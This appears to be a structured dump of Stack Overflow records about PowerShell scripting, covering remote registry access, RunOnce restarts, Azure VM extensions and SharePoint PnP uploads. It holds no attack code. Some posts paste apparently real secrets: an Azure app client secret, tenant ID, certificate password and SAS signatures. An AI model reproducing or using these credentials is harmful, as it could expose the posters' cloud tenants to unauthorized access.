has text: Just as a note, I don't think the Chocolatey tag is at all relevant to the question here. That said, you could have a look at the Microsoft Forms docs or, e.g. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-powershell-1.0/ff730941(v=technet.10) - I hate to be _that guy_ but I think this question is answered and you should go search for "building WindowsForms in PowerShell". You could also try tools designed to do this, e.g. PowerShell Pro Tools (https://docs.poshtools.com/powershell-pro-tools-documentation/visual-studio-code/windows-forms-designer)
score: 0

http://stackoverflow.com/comment/139479942
type: QuestionComment
type: Comment
score: 0
has text: Try doing `$group |Get-ADGroupMember` instead of `Get-ADGroupMember -Identity $group.Name`
comment on: http://stackoverflow.com/q/79102031

http://stackoverflow.com/comment/139559871
type: Comment
score: 0
type: AnswerComment
has text: @nutt318 looking at the last edit you will also need to take the same approach for functions such as `Get-WordText` and `Get-PdfText` unless those are from a module. Working with multithreading in pwsh is complex, the parallel scope can't see what is defined in the execution context of the caller. I will not keep editing my answer as there is too much code to go thru and this is going off on a tangent from original asked question, but I hope this is clear and understood.
comment on: http://stackoverflow.com/a/79146113

collect
tag name: collect
type: Tag
tags question: http://stackoverflow.com/q/79104529

http://stackoverflow.com/comment/139651267
type: Comment
comment on: http://stackoverflow.com/a/79193354
has text: I think that the case where `New-FunctionInCallerScope` is in a module and is called from within that module isn't correctly handled. (`$callerScopeIndex` becomes 0 where it should be 1). Otherwise this all looks pretty great to me.
score: 0
type: AnswerComment

http://stackoverflow.com/a/79095357
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79095222
type: Answer
downvote count: 0
has body: The simplest approach is to use the user-specific RunOnce registry key to specify a one-time action for the next time the current user logs on again: Read-Host 'Press Enter to initiate the 1st restart.' Set-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce (New-Guid) @' powershell.exe -noprofile -c "Read-Host \"Press Enter to restart again.\"; Restart-Computer -Force" '@ Restart-Computer -Force Note: The above includes an interactive prompt before each reboot; simply remove the Read-Host statements for fully automated operation. Set-ItemProperty is used to: create a value in the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce registry key (expressed in terms of the HKCU: PowerShell drive) ... with a random name designed not to collide with any preexisting values ((New-Guid)) ... and data that specifies a PowerShell CLI (powershell.exe) command that effects a second restart. By design - given that any commands specified there should only execute once - Windows automatically deletes such a registry value on execution (during the next logon, in this case).
upvote count: 1
answers question: http://stackoverflow.com/q/79095222
score: 1

http://stackoverflow.com/comment/139609916
has text: Return doesn't do what you think it does. It's a common point of confusion. All output is automatically "returned".
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79173076

http://stackoverflow.com/comment/139549783
score: 0
has text: powershell -command "Set-WinUserLanguageList -LanguageList ru-RU, en-US, ua-UA -Force" - got The list you attempted to set contained invalid languages which were ignored and nothing had happened in settings
comment on: http://stackoverflow.com/a/79138694
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79145598
tagged with: start-process
tagged with: powershell
linked to: http://stackoverflow.com/q/51333183
has comment: http://stackoverflow.com/comment/139558641
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139558670
has comment: http://stackoverflow.com/comment/139559886
has answer: http://stackoverflow.com/a/79146224
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/139558655
has comment: http://stackoverflow.com/comment/139558763
linked to: http://stackoverflow.com/q/71271105
has body: I am trying to start a java-process with Start-Process in Powershell. I am passing the parameters in the ArgumentList but it seems to cut the argumentlist after a bit. This is what I have tried: Start-Process -FilePath java.exe -ArgumentList "-jar C:\Users\myUser\Desktop\agent.jar", "-jnlpUrl http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp", "-secret 1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890", "-workDir 'e:\myFolder\Jenkins\'" Start-Process -FilePath java.exe -ArgumentList @("-jar C:\Users\myUser\Desktop\agent.jar", "-jnlpUrl http://jenkins.mysecretdomain.com:8080/manage/computer/myJenkinsNode/jenkins-agent.jnlp", "-secret 1234567890abcdefgh1234567890abcdefgh1234567890abcdefgh1234567890", "-workDir 'e:\myFolder\Jenkins\'") ...and a few similar formattings, with no luck. Most of the times I can see the java.exe-process starting for a fragment of a second, and after recording it I can see that it seems to cut the argumentlist in the middle of the secret key. What am I doing wrong here?
has comment: http://stackoverflow.com/comment/139558781
has title: Start-Process ArgumentList wont work properly in Powershell
type: Question
has answer: http://stackoverflow.com/a/79145720

http://stackoverflow.com/comment/139676134
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79208253
score: 0
has text: when you run the az containerapp update command with a scale rule, it will replace the existing scale rules with the new one. Plus, Azure CLI does not currently support adding multiple scale rules in a single command directly. You would need to use the az containerapp update command for each scale rule, but this will overwrite the previous scale rules.

http://stackoverflow.com/a/79240036
has comment: http://stackoverflow.com/comment/139730290
has comment: http://stackoverflow.com/comment/139730710
has comment: http://stackoverflow.com/comment/139730688
has comment: http://stackoverflow.com/comment/139730467
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139730591
has comment: http://stackoverflow.com/comment/139730402
has body: A ScriptBlock is always bound to the runspace it was instantiated on, you shouldn't even attempt to guard against invoking such a ScriptBlock by detecting it beforehand instead, if you're going to invoke it in a different runspace strip it from its runspace affinity first by creating a new one via .Ast.GetScriptBlock(): foreach ($i in 1..100) { $sb = { 'bound_to_parent_runspace' } . $sb | Out-Null 1..2 | ForEach-Object { $startThreadJobSplat = @{ ArgumentList = [pscustomobject]@{ ScriptBlock = $sb.Ast.GetScriptBlock() } ScriptBlock = { param($arg1) 'child_runspace' . $arg1.ScriptBlock } } Start-ThreadJob @startThreadJobSplat | Receive-Job -Wait -ErrorAction Stop } } A few related answers that go over this issue: Piping to Where-Object and Foreach.Object not working in module delayed loaded in $Profile How to pass $_ ($PSItem) in a ScriptBlock Foreach-Object -Parallel returning "The term 'write-host' is not recognized as a name of a cmdlet, function, script file, or executable program" If you want to test if a script block was created in the current session you can use reflection to get the scriptblock's SessionStateInternal and the test reference equality against the passed-in execution context: function Assert-ScriptBlockAffinity { param( [Parameter(Mandatory)] [scriptblock] $ScriptBlock, [Parameter(Mandatory)] [System.Management.Automation.EngineIntrinsics] $Context ) $prop = [scriptblock].GetProperty( 'SessionStateInternal', [System.Reflection.BindingFlags] 'NonPublic, Instance') $state = $prop.GetValue($ScriptBlock, $null) [object]::ReferenceEquals($Context.SessionState.Applications, $state.Applications) -and [object]::ReferenceEquals($Context.SessionState.Scripts, $state.Scripts) } Then if you pass-in a scriptblock created in the current session it returns true: Assert-ScriptBlockAffinity { 123 } $ExecutionContext # true Else, if the scriptblock was created in a different runspace, returns false: $sb = [powershell]::Create([System.Management.Automation.Runspace…
answers question: http://stackoverflow.com/q/79239933
has comment: http://stackoverflow.com/comment/139730195

http://stackoverflow.com/q/79111683
downvote count: 0
answer count: 1
score: 2
upvote count: 2
tagged with: registry
tagged with: powershell
type: AnsweredQuestion
has title: How do I get list of printers from HKU SIDs in the registry?
accepted answer: http://stackoverflow.com/a/79111903
has answer: http://stackoverflow.com/a/79111903
favorite count: 0
has body: I cannot seem able to open the HKEY_Users base key in a remote registry. I am trying to use the PowerShell script below to poll the registry to find the list of printers that a user has installed under their profile. Given that we have a proxy , and I cannot change the GPOs for the domain, much easier methods are out of reach for me. $sid = Get-ADUser -Identity userid | Select-Object -ExpandProperty SID $comp = "computerName" $strKeyPrinterList = [string]::Concat($sid,"\Printers\Connections\") $strRegType = [Microsoft.Win32.RegistryHive]::Users $strRegKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($strRegType, $comp) $strRegKey.OpenSubKey($strKeyPrinterList) | Out-GridView The result is an empty table, with columns for Name and Property, but nothing under them. What am I doing wrong? How do a get a list of the folders under the HKU\SID\Printers\Connections\ key? I expected a list of subkeys in the format ,,serverName,printerName.
type: Question

encryption
tag name: encryption
tags question: http://stackoverflow.com/q/79111405
tags question: http://stackoverflow.com/q/79177495
type: Tag
tags question: http://stackoverflow.com/q/79361770

http://stackoverflow.com/q/79104926
has comment: http://stackoverflow.com/comment/139491082
has title: Azure PowerShell: 404 Not Found when calling Microsoft.DomainRegistration/generateSsoRequest
has comment: http://stackoverflow.com/comment/139580854
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
score: 0
has answer: http://stackoverflow.com/a/79158066
has comment: http://stackoverflow.com/comment/139490766
tagged with: azure-powershell
has comment: http://stackoverflow.com/comment/139484761
type: Question
has body: I'm attempting to set up Cloudflare to host Azure domain names, following the process outlined in a Microsoft Q&A article. As part of this process, I need to generate an SSO request for Azure Domain Registration using PowerShell. However, I'm encountering a 404 Not Found error when trying to call the Microsoft.DomainRegistration/generateSsoRequest endpoint. This is preventing me from proceeding with the Cloudflare setup for my Azure domains. I tried running the following PowerShell code, both locally and in the Azure Portal's Cloud Shell: $subscriptionID = "**********************" Connect-AzAccount -TenantId ********************** Set-AzContext -Subscription $subscriptionID $token = (Get-AzAccessToken).Token $headers = @{"Authorization" = "Bearer $token"} $uri = "https://management.azure.com/subscriptions/$subscriptionID/providers/Microsoft.DomainRegistration/generateSsoRequest?api-version=2023-01-01" $response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers I expected this code to successfully generate an SSO request, which I could then use to continue the process of setting up Cloudflare for my Azure domains. Instead, I received the following error: Invoke-WebRequest: Response status code does not indicate success: 404 (Not Found). I verified that I'm connected to the correct Azure account and subscription, and that I'm using the latest API version (2023-01-01). Despite these checks, the error persists both in my local environment and in the Azure Portal's Cloud Shell. I'm unsure if the endpoint is correct or if there are additional permissions or configurations needed to make this request successfully.
tagged with: cloudflare
answer count: 1

http://stackoverflow.com/q/79239345
has comment: http://stackoverflow.com/comment/139743567
has answer: http://stackoverflow.com/a/79247912
accepted answer: http://stackoverflow.com/a/79247912
type: Question
has title: Granting permissions to upload a file to sharepoint using PnP Powershell - 401 Unauthorized
tagged with: sharepoint
answer count: 1
has body: I am trying to grant an application registration access to upload files to a sharepoint site using PnP Online. All the commands seem to work, but when i try uploading a file i get a 401 error. I would appreciate any expertise on how to make this work. The steps ive followed are:: create app registration Add sharepoint Sites.FullControl.All api permissions & approve it. Create self signed certificate, convert it to .cer & upload it. Connect using Connect-PnPOnline. this returns no errors. run Grant-PnPAzureADAppSitePermission. Again this returns no errors. run AddPnPFile. This gives the error 401 Unauthorized. All code is below along with a screenshot of the output. Appreciate any help on this. $Sites_FullAccess_App_ID = "19ef4773-433b-46ac-9859-865824293acd" $Sites_FullAccess_Obj_ID = "6f8b2588-96ed-4a78-ab81-9cda9730a798" $Sites_FullAccess_Name = "Sites_FullAccess" $Sites_FullAccess_Secret = "~c754~9vkHcvUajPsDr.eH1X59iHEJ4d3FjybcYy" $Tenant_Id = "601141a3-a812-4670-ac30-03f9db120f15" $Tenant_DN = "myorg.onmicrosoft.com" $CertThumbprint = "7CAE02F3A045258758522FF54552D356A6753159" $securePasswordString = ConvertTo-SecureString "mY_Certif1cate-PassCDRD" -AsPlainText -Force $CertificatePath = "C:\temp\Sites_FullAccess Certificate.pfx" $SiteUrl = "https://myorg.sharepoint.com/sites/mysite" Connect-PnPOnline -Url $SiteUrl ` -ClientId $Sites_FullAccess_App_ID ` -CertificatePath $CertificatePath ` -CertificatePassword $securePasswordString ` -Tenant $Tenant_DN ` -Verbose ` #-ReturnConnection Grant-PnPAzureADAppSitePermission -Site $SiteUrl ` -AppId $Sites_FullAccess_App_ID ` -DisplayName $Sites_FullAccess_Name ` -Permissions FullControl Add-PnPFile -Path "C:\temp\testfile.txt" -Folder "QuercusFiles" -Connection $connection
tagged with: office365
tagged with: powershell
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/139731613

http://stackoverflow.com/q/79104529
tagged with: powershell
has answer: http://stackoverflow.com/a/79104853
type: UnansweredQuestion
score: 1
upvote count: 1
favorite count: 0
tagged with: collect
has comment: http://stackoverflow.com/comment/139484161
tagged with: windows
has title: How do I automate the collection of file size data from multiple remote machines?
type: Question
answer count: 1
has body: I’m working on automating the collection of file sizes (EXAMPLE.ENG) from D:\Dump\logs\default\Rk7\base\ across more than 140 machines on the same subnet and writing the results (including IP addresses) to an Excel spreadsheet. The machines are accessible via TeamViewer/VPN, and I'm trying to achieve this using PowerShell. I've written the following minimal version of my script to gather the file size data, but it’s not working as expected. It either writes the headers Computer,FileSize(Bytes) without the actual file sizes or throws an error indicating the file can't be found. I’d appreciate any guidance on where I’m going wrong. Here’s the script: $targetIP = "10.168.0.45" $remotePath = "D:\Dump\logs\default\Rk7\base\EXAMPLE.ENG" $resultPath = "C:\result.csv" if (-not (Test-Path $resultPath)) { "Computer,FileSize(Bytes)" | Out-File -FilePath $resultPath -Encoding utf8 } $credential = Get-Credential -Message "Enter credentials for remote access to $targetIP" if ($null -eq $credential) { Write-Host "Error: Credential is null. Please provide valid credentials." exit } try { $session = New-PSSession -ComputerName $targetIP -Credential $credential -ErrorAction Stop $result = Invoke-Command -Session $session -ScriptBlock { param($path) if (Test-Path $path) { $fileInfo = Get-Item $path -ErrorAction Stop return $fileInfo.Length } else { throw "File not found at the specified path: $path" } } -ArgumentList $remotePath "$targetIP,$result" | Out-File -FilePath $resultPath -Append -Encoding utf8 Write-Host "Processed $targetIP: File size is $result bytes" -ForegroundColor Green } catch { $errorMessage = "Error processing ${targetIP}: $($_.Exception.Message)" Write-Host $errorMessage -ForegroundColor Red "$targetIP,Error: $($_.Exception.Message)" | Out-File -FilePath $resultPath -Append -Encoding utf8 } finally { Remove-PSSession -Session $session -ErrorAction SilentlyContinue } Write-Host "Process completed. Results saved to $resultPath" Specific Problems: The script runs but …
downvote count: 0
tagged with: automation

http://stackoverflow.com/comment/139491082
comment on: http://stackoverflow.com/q/79104926
has text: The problem has to be fixed at server. See following : https://learn.microsoft.com/en-us/azure/role-based-access-control/troubleshooting?tabs=bicep
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79186417
has answer: http://stackoverflow.com/a/79186435
accepted answer: http://stackoverflow.com/a/79186435
answer count: 1
type: AnsweredQuestion
has title: Debounce Function in PowerShell
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139634167
tagged with: events
upvote count: 1
score: 1
tagged with: debouncing
favorite count: 0
type: Question
has body: I'm attempting to create a simple debounce function in PowerShell. Here is what I have so far. # timer.ps1 # Define debounce function Function New-Debounce { param( [scriptblock]$ScriptBlock, [int]$DelayMilliseconds ) $timer = $null $id = $null return { # reset timer if ($timer) { $timer.Stop() $timer.Dispose() } $timer = [System.Timers.Timer]::new($DelayMilliseconds) # only fire once $timer.AutoReset = $false $timer.Start() # Listen for the Elapsed event and execute our script block when it occurs $id = Register-ObjectEvent ` -InputObject $timer ` -EventName "Elapsed" ` -SourceIdentifier "Timer.Debounce" ` -Action { Write-Host "Hello!"; & $ScriptBlock } }.GetNewClosure() } $f = New-Debounce -ScriptBlock { Write-Host "There" } -DelayMilliseconds 1000 & $f # # Keep the process alive so the timer can do its thing for ($i = 0; $i -lt 5; $i++) { Start-Sleep -Seconds 1 } Unregister-Event "Timer.Debounce" Running timer.ps1 always outputs "Hello" but never "There", and I'm unsure why. Why would my passed $ScriptBlock not be executed when the timer fires? How would you improve this code?

http://stackoverflow.com/comment/139573369
type: Comment
score: 1
has text: @Blaisem, it would, if your class is (primarily) meant to be consumed from PowerShell code only; from C#, for instance, you'd have to cast every instances to `IDictionary` in order to use it as a dictionary - though you could fix that with the embedded-C# approach. Please see the update under "Caveat". I'm also not aware of a generic dictionary type that supports key validation; it would be quite challenging to implement in a class derived from `Dictionary<TKey, TValue>`.
type: AnswerComment
comment on: http://stackoverflow.com/a/79151093

http://stackoverflow.com/comment/139477397
comment on: http://stackoverflow.com/q/79100678
type: QuestionComment
score: 2
has text: No Worries, I've been in trouble for the same reason, in fact, i'm under a question ban for that LOL. Anyways, Enjoy!
type: Comment

http://stackoverflow.com/comment/139480156
score: 0
type: AnswerComment
has text: Yep. Use TOM directly, or use it and capture the request.
type: Comment
comment on: http://stackoverflow.com/a/79102320

http://stackoverflow.com/comment/139708070
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79227179
type: Comment
has text: @NeoGenesis521 ok sorry about that, didn't consider that you were using a `connectioninfo` so my previous answer was incorrect. Please have a look at the update and let me know if it works now

remote-server
tag name: remote-server
tags question: http://stackoverflow.com/q/79168506
type: Tag
tags question: http://stackoverflow.com/q/79292138

http://stackoverflow.com/a/79112558
has comment: http://stackoverflow.com/comment/139501424
has comment: http://stackoverflow.com/comment/139503834
has comment: http://stackoverflow.com/comment/139503483
has body: I found the solution over here. With some minor adjustments, it now works as expected with: function get-icon-count { Param ( [parameter(Mandatory = $true)] [string] $SourceFile = 'C:/Windows/system32/shell32.dll' #"$env:SystemRoot\system32\shell32.dll" ) # public static extern int ExtractIconExW( string lpszFile, int nIconIndex, out IntPtr phiconLarge, out IntPtr phiconSmall, int nIcons); $code = @' using System; using System.Runtime.InteropServices; namespace System { public class FileIconInfo { [DllImport("Shell32.dll", EntryPoint = "ExtractIconExW", CharSet = CharSet.Unicode, ExactSpelling = true, CallingConvention = CallingConvention.StdCall)] public static extern int ExtractIconEx( string lpszFile, int nIconIndex, out IntPtr phiconLarge, out IntPtr phiconSmall, int nIcons); } } '@ [System.IntPtr] $phiconSmall = 0 [System.IntPtr] $phiconLarge = 0 Write-Host -f Gray "`n[INFO] Getting the total number of icons in file: $SourceFile" If (-not (Test-path -Path $SourceFile -ErrorAction SilentlyContinue ) ) { Write-Host -f Red "[ERROR] Source file does not exist!" } try { Add-Type -TypeDefinition $code $nImages = [System.FileIconInfo]::ExtractIconEx($SourceFile, -1, [ref] $phiconLarge, [ref] $phiconSmall, 0) } Catch { Write-Host -f Red "[ERROR] Failed to ExtractIconExW() from file!" Write-Host -f Red "[ERROR] $_" Return } Write-Host -f DarkYellow "[INFO] The number of icon indexes fund are: $([int32]$nImages)" } # . .\extract-icon.ps1 && get-icon-count 'C:\<path-to>\imageres.dll.mun' # Output: # [INFO] Getting the total number of icons in file: C:\<path-to>\imageres.dll.mun # [INFO] The number of icon indexes fund are: 360 Great!
has comment: http://stackoverflow.com/comment/139503972
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79112483

directory
tag name: directory
type: Tag
tags question: http://stackoverflow.com/q/79215078
tags question: http://stackoverflow.com/q/79110424
tags question: http://stackoverflow.com/q/79304087
tags question: http://stackoverflow.com/q/79382926
tags question: http://stackoverflow.com/q/79528025

http://stackoverflow.com/a/79207013
has comment: http://stackoverflow.com/comment/139680785
type: Answer
has comment: http://stackoverflow.com/comment/139673072
downvote count: 0
answers question: http://stackoverflow.com/q/79206642
has comment: http://stackoverflow.com/comment/139680659
has body: Azure VM, extension script in powershell, how to pass as a parameter json object The error you are getting is due to the JSON object being serialized and passed to the PowerShell script. You can use the below PowerShell script and JSON file to pass the JSON object into the script from the Azure storage account myscript.ps1 [CmdletBinding()] param ( [string]$configFile ) $logFile = "C:\Temp\script.log" if (-not (Test-Path "C:\Temp")) { New-Item -ItemType Directory -Path "C:\Temp" } function Log { param([string]$message) Add-Content -Path $logFile -Value "$(Get-Date) - $message" } try { Log "Starting script execution." $config = Get-Content $configFile | ConvertFrom-Json Log "Config loaded successfully: $(ConvertTo-Json $config -Depth 10)" } catch { Log "Error: $_" } parameters.json { "parameters": { "keyVault": { "value": { "name": "kv-name", "subscriptionId": "00000-0000-0000-0000" } }, "certificates": { "value": [ { "name": "application-certificate", "SaveTo": "C:\\Temp2\\" }, { "name": "client-certificate", "SaveTo": "C:\\Temp\\" } ] }, "secrets": { "value": [ { "name": "secret1", "secretName": "secret1" }, { "name": "secret2", "secretName": "mysecret2" }, { "name": "Save certificate password", "secretName": "certificatePassword" } ] }, "configCentralUri": { "value": "https://configcentral.adeo.local" } } } Make sure to upload the parameters.json and myscript.ps1 files to Azure Storage and fetch the SAS URL from the particular blob Generate a SAS URL for parameters.json from the blob, just like you generate one for the myscript.ps1* blob. blobSasUrl generation VM Extension Script $blobSasUrl = "https://venkatstoragetestdemo.blob.core.windows.net/venkat?sp=racwdli&st=2024-11-20T10:30:05Z&fffffffffffdjfjf:30:05Z&sv=2022-11-02&sr=c&sig=ghghghghggOpN6sqEYvpW17sUe0jA50JGP4bauvJkok%3D" $jsonSasUrl = "https://venkatstoragetestdemo.blob.core.windows.net/venkat/parameters.json?sp=racwdyt&st=2024-11-20T10:32:0221102&sr=b&sig=FSXGWjNLSgOWTzrsi8lkSDvCp9fTp0s%3D" $scriptSasUrl…
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139675869
has comment: http://stackoverflow.com/comment/139678934

http://stackoverflow.com/comment/139719180
has text: Could you confirm whether the managed identity of automation account has access under all subscriptions or not? Do you have multiple subscription in single tenant?
type: Comment
comment on: http://stackoverflow.com/a/79230278
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139662049
type: Comment
score: 1
has text: Note that if you `Emit` the first type, then you can probably `ModuleMetadata.CreateFromImage` from the assembly bytes without the unsafe code.
comment on: http://stackoverflow.com/q/79195703
type: QuestionComment

http://stackoverflow.com/comment/139598315
comment on: http://stackoverflow.com/a/79164682
type: Comment
score: 0
has text: Awesome... double quotes worked. Thanks!
type: AnswerComment

http://stackoverflow.com/comment/139504409
score: 0
comment on: http://stackoverflow.com/q/79115375
has text: Got it :) I find the issue, this was the problem Donâ€™t I don't know how
type: QuestionComment
type: Comment

wds
tag name: wds
type: Tag
tags question: http://stackoverflow.com/q/79192349

http://stackoverflow.com/comment/139547685
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79132466
type: AnswerComment
has text: What's your permission in Azure DevOps? Is your account a PCA? You can add some `Write-Host` commands to help check which commands don't have the expected result in your situation. You can refer to the comment lines in my scripts.

http://stackoverflow.com/comment/139640450
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79188495
type: AnswerComment
has text: @Biswa Do you have PowerShell Remoting configured in the environment? `Invoke-Command { Get-CimInstance Win32_Share} |ForEach-Object Name` would do too

http://stackoverflow.com/q/79206642
has comment: http://stackoverflow.com/comment/139671028
has comment: http://stackoverflow.com/comment/139670988
type: UnansweredQuestion
has title: Azure VM, extension script in powershell, how to pass as a parameter json object
tagged with: azure-powershell
tagged with: azure-vm-extension
score: 0
has answer: http://stackoverflow.com/a/79207013
has body: I have a script in Powershell, I would like to run it as a script extension in Azure VM. The script is supposed to download various things, and the configuration would enter it as an object. What can I try next? I have a problem passing an object from a json file to it. Error: at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectContract, Newtonsoft.Json.Serialization.JsonProperty, Newtonsoft.Json.Serialization.JsonContainerContract, Newtonsoft.Json.Serialization.JsonProperty) at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectContract, Newtonsoft.Json.Serialization.JsonProperty, Newtonsoft.Json.Serialization.JsonContainerContract, Newtonsoft.Json.Serialization.JsonProperty) at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectContract, Newtonsoft.Json.Serialization.JsonProperty, Newtonsoft.Json.Serialization.JsonContainerContract, Newtonsoft.Json.Serialization.JsonProperty) at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectContract, Newtonsoft.Json.Serialization.JsonProperty, Newtonsoft.Json.Serialization.JsonContainerContract, Newtonsoft.Json.Serialization.JsonProperty) at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectContract, Newtonsoft.Json.Serialization.JsonProperty, Newtonsoft.Json.Serialization.JsonContainerContract, Newtonsoft.Json.Serialization.JsonProperty) at Newtonsoft.Json.Serialization.JsonSerializerInternalWriter.SerializeObject(Newtonsoft.Json.JsonWriter, System.Object, Newtonsoft.Json.Serialization.JsonObjectC…
type: Question
tagged with: azure-vm-templates
has comment: http://stackoverflow.com/comment/139671163
tagged with: powershell
answer count: 1
tagged with: azure
has comment: http://stackoverflow.com/comment/139670879

http://stackoverflow.com/comment/139616306
score: 0
has text: You can not pass parameters like this, The `each expression` is rendered at compile-time which is before runtime, and the variable $(filteredWebsitesPath) has not yet been generated.
type: QuestionComment
comment on: http://stackoverflow.com/q/79176549
type: Comment

http://stackoverflow.com/q/79123833
has body: I have 4 nested foreach loops with Write-Progress statements within. Prior to each nested loop I want to display a preliminary message within a progress bar to notify user the script is about to run a long-running command next. Once the command returns, I loop through the items and update the previous progress bar with actual item details. I'm having issues with the first call to the 3rd progress bar, Write-Progress @itemProgressParams which never displays "Getting items". Once the items are obtained, that progress bar properly displays while looping through them. The similar calls on the 2nd progress bar properly displays both the preliminary message and then updates accordingly. Why wouldn't the 3rd progress bar do the same? This is driving me batty. Context: I'm looping through Azure subscriptions, Recovery Services Vaults, Backup Containers, and Backup items. The expected sample behavior: Subscription [Subscription1 (1 of ##) ] # displays Recovery Vault [Getting vaults ... ] # displays Subscription [Subscription1 (1 of ##) ] # displays Recovery Vault [Vault1 (1 of ##) ] # displays Backup Container [Container1 (1 of ##) ] # displays Backup Item [Getting items ... ] ### does not display Subscription [Subscription1 (1 of ##) ] # displays Recovery Vault [Vault1 (1 of ##) ] # displays Backup Container [Container1 (1 of ##) ] # displays Backup Item [Item1 (1 of ##) ] # displays Subscription [Subscription1 (1 of x) ] # displays Recovery Vault [Vault1 (1 of y) ] # displays Backup Container [Container2 (2 of ##) ] # displays Backup Item [Getting items ... ] ### does not display Subscription [Subscription1 (1 of ##) ] # displays Recovery Vault [Vault1 (1 of ##) ] # displays Backup Container [Container2 (2 of ##) ] # displays Backup Item [Item1 (1 of ##) ] # displays Subscription [Subscription1 (1 of ##) ] # displays Recovery Vault [Vault1 (1 of ##) ] # displays Backup Container [Container2 (2 of ##) ] # displays Backup Item [Item2 (2 of ##) ] # displays Code excerpt: fore…
tagged with: powershell
has title: Why does my nested progress bar not display during long-running command?
score: 0
type: UnansweredQuestion
type: Question
answer count: 0

http://stackoverflow.com/a/79189592
type: Answer
has comment: http://stackoverflow.com/comment/139640647
score: 1
has comment: http://stackoverflow.com/comment/139640618
upvote count: 1
has body: Not exactly what I am was looking for but it serves my needs right now. But the following script lists all public listening processes including the command line. function Get-ListeningProcesses { Get-NetTCPConnection -State Listen | Where-Object {($_.LocalAddress -eq "::" -or $_.LocalAddress -eq "0.0.0.0")} | ForEach-Object { $ProcessId = $_.OwningProcess $ProcessName = (Get-Process -Id $_.OwningProcess).ProcessName $CommandLine = (Get-WmiObject Win32_process -filter "ProcessId = '$ProcessId'").CommandLine [PSCustomObject]@{ LocalAddress = $_.LocalAddress LocalPort = $_.LocalPort RemoteAddress = $_.RemoteAddress RemotePort = $_.RemotePort OwningProcess = $_.OwningProcess ProcessName = $ProcessName CommandLine = $CommandLine } } } The script has to be run with elevated rights (as an Administrator).
answers question: http://stackoverflow.com/q/79189293
downvote count: 0

http://stackoverflow.com/q/79234951
has title: Using a .ps1 script to open Anaconda Prompt and pass in multiple commands. Failing after opening the prompt
type: UnansweredQuestion
upvote count: 1
score: 1
favorite count: 0
tagged with: anaconda
type: Question
answer count: 0
downvote count: 0
has body: I am trying to use a powershell script to open anaconda prompt, activate an environment, move directory and launch a script. I've simplified the list of commands as it fails on the first one. Here is the ps1 script: # Path to the Anaconda Prompt shortcut $anacondaPromptPath = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Anaconda (anaconda3)\Anaconda Prompt.lnk" # Commands to be executed in the Anaconda Prompt $commands = @( "conda activate automation" ) # Create a string of commands separated by '&' $commandString = $commands -join " & " # Start the Anaconda Prompt and execute the commands Start-Process -FilePath $anacondaPromptPath -ArgumentList "/K $commandString" It opens the anaconda prompt fine, but then when trying to execute the commandString I get this error message: ArgumentError: activate does not accept more than one argument: ['C:\ProgramData\anaconda3', 'conda', 'automation']" I've tried tinker with double-quoting but no luck so far.
tagged with: powershell

http://stackoverflow.com/q/79085285
has comment: http://stackoverflow.com/comment/139450757
type: Question
